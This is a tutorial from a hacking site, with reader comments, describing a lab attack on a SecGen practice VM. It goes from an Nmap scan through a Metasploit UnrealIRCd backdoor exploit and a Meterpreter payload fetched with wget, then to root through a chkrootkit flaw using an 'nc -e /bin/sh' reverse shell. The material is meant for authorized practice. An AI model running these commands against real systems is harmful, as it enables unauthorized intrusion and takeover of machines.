How To: Attack a Vulnerable Practice Computer: A Guide from Scan to Shell

Attack a Vulnerable Practice Computer: A Guide from Scan to Shell

In my previous article, we learned how to generate a vulnerable virtual machine using SecGen to safely and legally practice hacking. In this tutorial, we will put it all together, and learn how to actually hack our practice VM. This will provide some insight into the methodology behind an actual attack and demonstrate the proper way to practice on a VM.

SecGen allows you to generate different scenarios for practice, balancing the surprises of real-life encounters with the safety of a legal hacking lab. Since the VM is a guest on my host, there are no worries about legality. I am also not concerned with how loud my tools are on the network. This is purely for demonstration purposes, attempting this on a machine without authorization could lead to serious legal ramifications.

In this guide, we'll be attacking our VM host on a Kali Linux system. You should use any platform that can run our virtual machine in VirtualBox. Our Raspberry-Pi-based Kali Linux hacking build, in this case, doesn't do well with virtualization, so if we want to use it, we'll have to run our guest VM on another computer and bridge the adapter.

Step 1: Enumeration

This is the first phase of our attack, and in this case, it's going to be short. This VM doesn't have a huge attack surface. I start out with an Nmap scan for initial recon.

nmap -A -p- -v victimMachine -oX nmap.xml | tee nmap.out

In this command, I'm telling Nmap to enable OS detection, version detection, script scanning, and traceroute with the -A argument. The -p- argument tells Nmap to scan all TCP ports, and -v tells Nmap to use one level of verbosity. The -oX argument tells Nmap to save results in an XML file called nmap.xml. The XML file can be helpful in the early stages of scouring with SearchSploit.

I then pipe it into tee to split STDOUT between my terminal and the file nmap.out. A pipe is a form of redirection in POSIX environments and is represented by the "|" character. The pipe sends the output (STDOUT) of one program into the input (STDIN) of another. This allows programmers to focus on Unix philosophy, the first tenant of which is "Do one thing well." Pipes allow for command chaining, which is a powerful way to build new utilities out of other existing utilities.

If you are interested in learning more about pipes, I recommend Brandon Wamboldt's article on the subject.

Throughout this article, I have substituted "victimMachine" and "attackingMachine" for the actual machine IP addresses.

While this scan is working, I fire up KeepNote and start a notebook on this project. I use KeepNote to store screenshots, keep track of information, and organize information supporting my attack. Even though this is only one host, good note-taking can really pay off. I suggest looking for a note-taking app that works for you. KeepNote is installed by default on Kali Linux.

On machines with a larger attack surface, it can be easy to go down the rabbit hole chasing a vulnerability that simply isn't there, or maybe is there but refuses to work for some reason.

Hammering away endlessly at something that isn't working can really screw up your workflow. If you suspect that something is vulnerable, but it isn't working, note it. Then rule out easier options first. The goal here isn't to have the most complex attack; the goal is root.

At first glance, both IRC and FTP seem like they would be excellent attack vectors. FTP is often misconfigured, out of date, and vulnerable. A cursory search shows that ProFTPd has multiple vulnerabilities, but none of those are the version that this machine is running. So I move on to what I'm hoping is the next lowest hanging fruit, IRC.

I use this command to establish a connection to the server, hoping to gather some more information.

echo -e "USER ident 0 * :Gecos\nNICK evilHacker" | nc victimMachine 6667

The -e argument in echo tells the command to interpret escape sequences. The rest is just the hello for an IRC connection. I send my echo'd text into netcat via pipe and get an excellent result.

I discover that the server is running version Unreal Also, a little research shows that this particular version has a malicious backdoor installed.

Step 2: Gaining Access

Since I know that the vulnerability I am targeting has a module in Metasploit, I fire up a Metasploit console.


If you dislike the banners at launch, you can add the -q argument. Once within the console, I select my exploit and read the information available for it with the following commands.

use exploit/unix/irc/unreal_ircd_3281_backdoor

Next, I set the required options for my victim machine. In this case, I only need to set one option: the remote host.

set rhost victimMachine

I then set the options for my payload by entering the following.

set lhost attackingMachine
set lport 31337
set payload cmd/unix/reverse

This is a basic payload, but it should allow us to do some additional enumeration once we are connected. I would obviously prefer a Meterpreter session, but there aren't a lot of payloads to go with this exploit.

Once I'm satisfied with my settings, I run the exploit.


Which executes the Metasploit module and returns me a low privilege shell.

This is a strong foothold. Using this, I'll upgrade to a Meterpreter reverse TCP connection. To do this, first I generate a Meterpreter payload using msfvenom by typing the following.

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=attackingMachine LPORT=6666 -f elf > /var/www/html/6666Met

This command generates a reverse TCP Meterpreter payload, which will connect back to my attacking machine on port 6666 in ELF format. I put it on the victim machine by using wget in our low-privilege shell.

wget attackingMachine/6666Met -O /tmp/met

I pull up another msfconsole on my attacking machine and prepare the handler for the incoming Meterpreter connection by typing the following commands.

use exploit/multi/handler
set LHOST attackingMachine
set LPORT 6666
set payload linux/x86/meterpreter/reverse_tcp

I then execute my uploaded Meterpreter on the victim machine. Doing so returns a nice Meterpreter shell. This is extremely helpful in managing connections. Bare-bones shells can be unreliable, and there's nothing worse than losing your shell in the middle of an engagement.

Step 3: Privilege Escalation

Currently, I'm not a privileged user. Even having unauthorized shell access as an unprivileged user is a huge security issue. But I, of course, want root.

In order to escalate privileges, I'm going to have to start enumerating the system. This is where keeping notes really pays off. I like to start out with automated tools and dig deeper if it's required. My preferred automated Linux privilege escalation script is If this doesn't notice anything immediately, I use other scripts.

Eventually, if I'm stuck, I can sort manually based on g0tmi1k's basic Linux privilege escalation post. Inputting the commands manually and reading the output helps to slow the process down and allows me to be more methodical.

In order to get LinEnum on my victim machine, I put a copy in my attacking machine's /var/www/html directory, and then type the following into terminal.

wget attackingMachine/ -O /tmp/; chmod 700 /tmp/;/tmp/

This command pulls the script off of my attacking machine, the -O argument outputs the file to /tmp/ I then change permissions to be rwx (read, write execute) for my user and run the script.

Alternatively, I could also just use Meterpreter to put the file on the remote host.

This is a lot of information to intake and requires some processing to understand. A lot of the time spent doing a penetration test is enumerating through all the information you collect and deciding on a course of action.

After significant enumeration, I discovered a vulnerable version of chkrootkit.

In this case, I did end up doing my enumeration manually. It also helped that I had encountered this particular vulnerability in the past. Metasploit has a module for this exploit, but it's trivial to just put our own file in.

When I write files on a compromised machine, I try to be careful about interactive programs like Vim, SSH, FTP, etc. In some cases, they can cause you to lose your shell. Some exploits can render machines unstable and may no longer work unless the machine is rebooted. This sucks because losing a shell can really mess things up. I create the /tmp/update file with the following commands.

echo "#!/bin/sh">/tmp/update
echo nc 6688 -e /bin/sh >> /tmp/update
chmod 777 /tmp/update

First, I redirect STDOUT into /tmp/update using the > redirection character. This redirects STDOUT into a file. Then I append my netcat command into the file. Lastly, I make the file executable by all.

This tells Netcat to connect to my attacking machine and execute /bin/sh. On the other side of the connection, I set up an ncat listener by entering the following command.

ncat -nlv attackingMachine 6688

Which tells Netcat to listen for an incoming connection to the attacking machine on port 6688. With this set up, I wait. After a short time, I receive a root shell connection on my attacking machine!

Putting It All Together

Tools like SecGen are great for practice. Many vulnerable machines are set up in a way that isn't very realistic. Many authors configure their machines to be clever. These can be fun, but they aren't always helpful. Other vulnerable machines offer a large collection of vulnerabilities, but they often feel like you're going through an exploitation checklist. With SecGen, the machine feels like an actual target, complete with genuine surprises.

I had a lot of fun with this machine. Getting my first shell was fast, but generally getting a shell isn't the hardest part. Since the attack surface on this host was small, I was able to quickly narrow in on a vulnerable service. On machines with a larger attack surface, pre-exploitation enumeration becomes more important.

The privilege escalation phase of this machine was very straightforward. There was no need to pull possibly broken exploit code off the web and try to get it working. The difficulty in this scenario was in post exploitation enumeration, which I used to determine what I could leverage to gain root.

This has been an outline of attacking a SecGen generated vulnerable VM. If you enjoyed this article, come hang out with us on social media!

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover photo by SADMIN/Null Byte
Screenshots by Barrow/Null Byte


Very nice post, looks really useful for a beginner. An improvement i would suggest, is using --script vuln in your nmap scans, so that finding vulnerabilities requires a little less research.

Good spot. Nmap --script vuln can speed up the initial port scan recon phase.

Impressive post, a nicely compact and very welcome guide/refresher for all skill levels.

Thanks a ton @barrow!

Glad you liked it.

can you teach me some knowledge i wanna be like someone like you

What a cutie question. Keep reading, we're already doing that.

I presume English isn't your first language? and there are plenty of really useful tutorials all over the site. You don't have to single out barrow to "teach {you} some knowledge"

How well does this guide translate to a pen-test on say the DV-PI? am getting stuck with turning NMap output data into organized information on exploits (in my case a vulnerable wordpress site)

This guide is specific to a machine, the steps will be similar. Everyone has their own method of organizing data. It's really about finding a way that works for you, unless there is a company mandated format. I recommend keeping a lot of notes and screenshots. I'll typically put the nmap output into my general notes file about a host. Then I'll note anything non-standard to look at first. With a wordpress site obviously I'm going to want to run wpscan and include that output. Google is your friend, but it's also easy to get caught up on a perceived vulnerability and miss an easier one.

Machines with more services provide a larger attack surface, once I have my notes I try to work from most likely to be vulnerable to more complex stuff. Feel around for a potential shell, and take breaks.

When you read a pentest report it's easy to think that the steps are just one long continuation and the operator just crushed through them, because the reports don't include the time taken to hone in on things, or potential vulns that were chased with no result.

AT 50 I'm too old for this stuff but I love it. A late starter, linux terminal dabbler (1 step past noob) comfortable in Windows, prefer OSX and super enjoy Kali. Now the question: How do I get into this stuff - for real? Penetration tester like. Do I need a degree, do I need a break, am I too late? whoami? An inquisitive mind, fault finder (aviation sparky) and love the game - solving the puzzle. What's my approach? Be blunt, be honest, be helpful. Thanks.

:Great article - inspiring.

Learn how things work. Read a lot. Honestly it's a lot of reading. Gather knowledge, play around, think about how you can break things. Follow these guides and think about how you would use them. I honestly would never tell anyone it's too late to get into it. Definitely practice against vulnerable machines. Roll up your own vulnerable machines just to test stuff out. Read about network things, web things, systems things, programming things.

Share Your Thoughts

  • Hot
  • Latest